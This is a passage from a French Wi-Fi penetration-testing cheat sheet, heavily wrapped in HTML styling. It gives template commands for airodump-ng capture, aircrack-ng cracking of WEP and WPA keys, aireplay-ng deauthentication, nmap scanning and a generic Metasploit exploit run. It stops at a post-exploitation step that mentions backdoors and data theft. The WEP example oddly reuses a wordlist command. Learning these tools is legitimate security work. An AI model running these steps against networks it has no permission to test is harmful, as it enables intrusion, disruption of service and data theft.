    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">airodump-ng --bssid &lt;BSSID&gt; -c &lt;channel&gt; wlan0</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">3. **Capture des paquets de données**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `airodump-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Capturez les paquets de données pour analyser les trames de données et détecter les vulnérabilités.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ42 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">airodump-ng --bssid &lt;BSSID&gt; -c &lt;channel&gt; -w capture wlan0</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">4. **Déchiffrement des paquets WEP**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `aircrack-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez `aircrack-ng` pour déchiffrer les paquets WEP capturés.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ43 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">aircrack-ng -b &lt;BSSID&gt; -w &lt;wordlist&gt; capture-01.cap</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">5. **Attaque de type Deauthentication**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `aireplay-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Forcez les clients à se reconnecter pour capturer des paquets de données.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ44 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">aireplay-ng --deauth 10 -a &lt;BSSID&gt; wlan0</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">6. **Attaque de type WPA/WPA2 PSK**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `aircrack-ng`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez `aircrack-ng` pour attaquer les réseaux WPA/WPA2 en utilisant une attaque par force brute.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ45 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">aircrack-ng -b &lt;BSSID&gt; -w &lt;wordlist&gt; capture-01.cap</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">7. **Analyse des vulnérabilités**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `nmap`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez `nmap` pour scanner les ports ouverts et détecter les vulnérabilités sur les périphériques connectés.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ46 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 42.1562px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">nmap -sV &lt;target\_ip&gt;</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">8. **Exploitation des vulnérabilités**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `metasploit`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Utilisez Metasploit pour exploiter les vulnérabilités détectées.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
    <div class="relative rounded-md bg-black/60 border border-white/10 codeblock-container _container_1uhmg_1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.1); margin: 0.75rem 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: relative; border-radius: 6px; background-color: oklab(0 0 0 / 0.6); width: 758px; overflow-anchor: none;"><div class="cm-theme" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ47 ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 756px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
    </div><div class="cm-scroller" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font-family: monospace; line-height: 1.4; height: 102.625px; overflow: auto; position: relative; z-index: 0; overflow-anchor: none; display: flex !important; align-items: flex-start !important; padding: 0px 0px 0px !important 0px; margin: 0px 0px 0px !important 0px;" tabindex="-1"><div aria-multiline="true" autocapitalize="none" autocorrect="off" class="cm-content" contenteditable="true" role="textbox" spellcheck="false" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 12px 14px 10px; outline: none; flex-grow: 2; flex-shrink: 0; display: block; white-space: pre; overflow-wrap: normal; min-height: 100%; caret-color: transparent !important; -webkit-user-modify: read-write-plaintext-only; tab-size: 4;" translate="no" writingsuggestions="false"><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">msfconsole</span></div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">use exploit/&lt;path\_to\_exploit&gt;</span></div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">set RHOST &lt;target\_ip&gt;</span></div><div class="cm-line" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px 2px 0px 6px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); display: block; caret-color: transparent !important;"><span style="color: rgb(0, 0, 0);">run</span></div></div><div aria-hidden="true" class="cm-layer cm-layer-above cm-cursorLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; pointer-events: none; z-index: 150; animation-duration: 1200ms;">  
    </div><div aria-hidden="true" class="cm-layer cm-selectionLayer" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: absolute; left: 0px; top: 0px; contain: size style; z-index: -2;">  
    </div></div></div></div><button aria-label="Copy code" class="absolute top-2 right-2 z-10 opacity-80 hover:opacity-100 transition-opacity bg-white/10 hover:bg-white/20 border border-white/20 rounded p-1" style="box-sizing: border-box; border: 1px solid oklab(0.999994 0.0000455678 0.0000200868 / 0.2); margin: 0px; padding: 4px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); font: inherit; letter-spacing: inherit; opacity: 0.8; background-color: oklab(0.999994 0.0000455678 0.0000200868 / 0.1); border-radius: 0.25rem; appearance: button; position: absolute; top: 8px; right: 8px; z-index: 10; transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 0.15s;" type="button"><svg aria-hidden="true" class="lucide lucide-copy" fill="none" height="16" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="16" xmlns="http://www.w3.org/2000/svg"></svg></button></div>

### <span style="color: rgb(0, 0, 0);">9. **Post-exploitation**</span>

- <span style="color: rgb(0, 0, 0);">**Commande :** `metasploit`</span>
- <span style="color: rgb(0, 0, 0);">**Description :** Après avoir exploité une vulnérabilité, vous pouvez utiliser Metasploit pour effectuer des actions post-exploitation, telles que l'installation de backdoors ou le vol de données.</span>
- <span style="color: rgb(0, 0, 0);">**Exemple :**</span>
    
